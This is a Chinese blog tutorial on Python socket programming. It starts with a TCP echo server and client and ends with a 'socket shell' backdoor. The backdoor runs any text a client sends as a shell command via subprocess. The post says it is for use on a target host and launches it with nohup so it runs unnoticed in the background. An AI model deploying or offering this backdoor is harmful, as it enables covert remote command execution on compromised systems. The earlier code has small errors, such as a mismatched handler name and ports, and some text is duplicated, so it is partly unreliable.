一篇文章快速上手python socket编程,还能自己写后门

socket 网络编程

  之前在编写四层发现的代码时都是使用TCP/UDP协议,
  但是看了很多的代码都是用socket来完成的,所以就
  来学习一下socket

什么是socket

  • 网络中的两台主机之间进行通信,本质上是主机中所
    运行的进程之间的通信,两个进程如果需要进行通信
    ,最基本的前提是每一个进程要有一个唯一的标识。
    
  • 在本地进程通信中可以使用PID来唯一标识一个程,
    但PID在 本地是唯一,可以用 "IP地+ 协议+端口号" 
    来组成唯一标识的网络进程,这就是socket
    
  • 无论使用何种网络协议,最本质上都是在进行数据
    的收发,发和收,这两个动作就是socket处理数据
    的主要方式
    

socket的工作流程

  • socket 采用C/S 模式,分为服务端和客户端
  • 服务端数据处理流程
    • 创建socket -> 绑定到地址和端口 -> 等待连接 -> 开始通信-> 关闭连接
  • 客户端数据处理流程
  • 创建socket -> 等待连接 -> 开始通信-> 关闭连接
  • 客户端没有绑定地址和端口,是由于客户端进程采用的是随机端口,当客户端要去连接目标时,会由系统自定分配一个端口号和自身ip地址去组合

python3 socket服务端程序

# !/usr/bin/python3
# !coding:utf-8

import socket
from threading import Thread


def server():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("", 5432))      # ip地址和端口要求以元组的形式传递,所以这里是两对括号
    s.listen(5)

    while True:   # 一直被动等待连接,除非手动关闭,否则程序一直是运行的状态
        try:
            client, addr = s.accept()       # client 是为连接过来的客户端创建的对象
                                            # addr则是存放了客户端连接过来的ip和端口
            print("connected by", addr)
            t = Thread(target=Client_Handle, args=(client,))
            t.start()   # 多线程接收多个客户端的信息
        except KeyboardInterrupt:
            break


def client_handle(client):

    while True:
        result = client.recv(1024).strip()  
        if not result:      # 当客户端断开连接后,服务端会一直接收到空的内容             
            continue		# 因而也要进行处理,收到空的内容就断开连接
        result = result.decode("utf-8")  # 以指定的编码格式解码 bytes 对象
        if result == "exit":        # 如果客户端发来的是exit那将断开连接
            break
        print(result)
        client.sendall(result.encode("utf-8"))  
        # encode()方法是将str字符串指定的编码格式
        # 不停的把客户端发送的数据返回
    client.close()


if __name__ == "__main__":
    server()

socket类的参数

  • socket.AF_INET表示socket使用ipv4地址进行主机之间
    的通信, socket.SOCK_STREAM表示使用TCP协议
    
  •  AF表示 address family 地址族,除了AF_IINET之
    外,还可以使用AF_INET6表示ipv6地址,用AF_UNIX
    表示单一的unix系统进程通信
    
  • tcp用SOCK_STREAM表示,udp用SOCK_DGRAM表示
    tcp在发送数据时会将数据进行拆分,数据就像流水一
    样进行传输,因为称为stream
    
  • udp时将数据整体发送,因为称为datagram 简称DGRAN
    
  • 如果服务端和客户端采用UDP进行通讯,代码为:
    * s = socket.socket(socket.AF_INET,socket.SOCK_DRAM)
    * socket.socket()不填的话默认两个参数为socket.AF_INET,socket.SOCK_STEAM
    

代码解析

  • s.bind(("",6000))
    • 将socket绑定到ip和端口,如(“192.168.1.1”,6000,) ,ip部分为空则表示采用本地地址
    • 需要注意一点时s.bind()在AF_INET模式下要求以元组的方式表示ip和端口,,所以必须是有两对括号的,少了就报错
  • s.listen(1)
    • 开始监听tcp传入连接,1是指服务端允许的客户端最大连接数,该值最少为1,大部分应用程序设置为5即可
  • client,addr = s.accept()
    • s.accept()接受tcp连接并返回(conn,address)其中conn是新的套接字对象,可以用来收发数据,addresss是连接客户端的地址
    • 由于s.accept()会接收两个数据,因而这里赋值给两个变量client和addr
  • client.send()
    • 向连接上来的客户端发送数据,服务端与客户端之间不能发送列表,字典,元组只能发送字符串。
    • 发送数据还有sendall()方法,tcp协议有时可能要把发送的数据先缓存,等一段时间再发送,send方法不一定会立即发送数据,而sendall()方法可以立即发送
    • encode()是可以将String类型的数据转化成字节类型的,不进行这步操作,python3会发送失败(python2 socket则不用进行这步操作),而deconde则是对数据以指定的编码方式解码,默认编码格式UTF-8
  • text = client.recv(1024)
    • 接收tcp套接字的数据,数据以字符串的方式返回,1024为指定接收的最大数据量
  • setsockopt(socket.SOL_SOCKET,SO_REUSEADDR,1)
    • 加入socker配置,重用ip和端口
    • setsockopt(level,optname,value)接收三个参数,第一个参数socket是套接字描述符。第二个参数level是被设置的选项的级别,第三个参数是设置第二个参数的值
    • socket.SOL_SOCKET,如果想要在套接字级别上设置选项,就必须把level设置为 SOL_SOCKET
    • SO_REUSEADDR,打开或关闭地址复用功能。当option_value不等于0时,打开,否则,关闭。

客户端脚本

#! coding:utf-8
import socket


def py2_client():
    """python2 socket client"""

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.3.102", 6000))

    while True:
        text = raw_input("Plase input:").strip()  # raw_input 将用户的输入转化成字符串(该函数以在python3取消)
        if len(text) == 0:      # 避免用户输入空格后程序卡死
            continue
        s.send(text)
        result = s.recv(1024)
        print result
        if result == "exit":
            break
    s.close()


def py3_client():
    """python3 socket client"""

    c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    c.connect(("192.168.3.102", 6000))

    while True:
        text = input("Plase input:").strip()
        if len(text) == 0:  # 避免用户输入空格后程序卡死
            continue
        c.sendall(text.encode("utf-8"))  
        # encode()可以将String类型的数据转化成字节类型        
        if text == "exit":
            break
        response = c.recv(1024)
        print(response.decode("utf-8"))  # 将接收自服务端的数据以utf-8编码方式解码

    c.close()


if __name__ == '__main__':
  # py2_client()    # 执行py2需要将解释器设置为python2.7
    py3_client()    # 执行py3需要将解释器设置为python3.7
  • 服务端上用了while循环让连接一直是打开的除被动等待连接
  • 而客户端则是对用户的输入做了过滤,且加入了while循环可以无限输出内容

socket shell

  • 进入到目标主机之后就可以自己编写socket 连接反
    shell回来,且是在后台进行的不留意的话可能还发现不了
    
  • 这一功能的实现是靠subprocess模块实现的,将客户端
    的输入当作命令去执行,并返回执行结果
    
    • subprocess.check_output(cmd,shell=True) ,check_output开启一个子进程用shell在后台执行命令,并返回结果,
  • python2 socket 建立的shell比python3 建立的效果较好,python3 socket收发信息需要将字符进行加解码,导致排序很乱。所以下面的socket shell 使用python2 编写的。

服务器运行脚本

#!/usr/bin/python2.7
# !coding:utf-8

import socket
from threading import Thread
import subprocess


def server():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", 3000))
    s.listen(5)

    while True:
        try:
            client, addr = s.accept()
            print
            "connected by", addr
            t = Thread(target=client_handle, args=(client,))
            t.start()
        except KeyboardInterrupt:
            break


def client_handle(client):
    while True:
        cmd = client.recv(1024).strip()
        if not cmd:
            break		# 将客户端的输入当作命令执行,执行结束后返回结果
        result = subprocess.check_output(cmd, shell=True)
        client.sendall(result)	# 向客户端返回执行结果
        if result == "exit":
            break
    client.close()


if __name__ == "__main__":
    server()

运行socke shell
在这里插入图片描述

  • nohup python py2_server_shell.py  > nohub.out 2>&1 &
    
    • 使用&命令时,关闭当前控制台窗口或退出当前帐户时,作业就会停止运行。
      nohup命令则可以在退出帐户或关闭窗口后继续运行进程。
      nohup即no hang up[不挂起]。
    • 将所有的输出都重定向到nohub.out文件中
    • 2>&1 也就表示将错误重定向到标准输出上
  • 上面这行命令会将脚本在后台运行且将所有输出都重定向了,如果不留意进程是很难发现了开后门了的。

客户端正常连接来即可,不用单独写脚本。客户端发送的所有内容到服务端都会当作命令去执行

nohup命令则可以在退出帐户或关闭窗口后继续运行进程。
nohup即no hang up[不挂起]。
  • 将所有的输出都重定向到nohub.out文件中
  • 2>&1 也就表示将错误重定向到标准输出上
  • 上面这行命令会将脚本在后台运行且将所有输出都重定向了,如果不留意进程是很难发现了开后门了的。

客户端正常连接来即可,不用单独写脚本。客户端发送的所有内容到服务端都会当作命令去执行
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值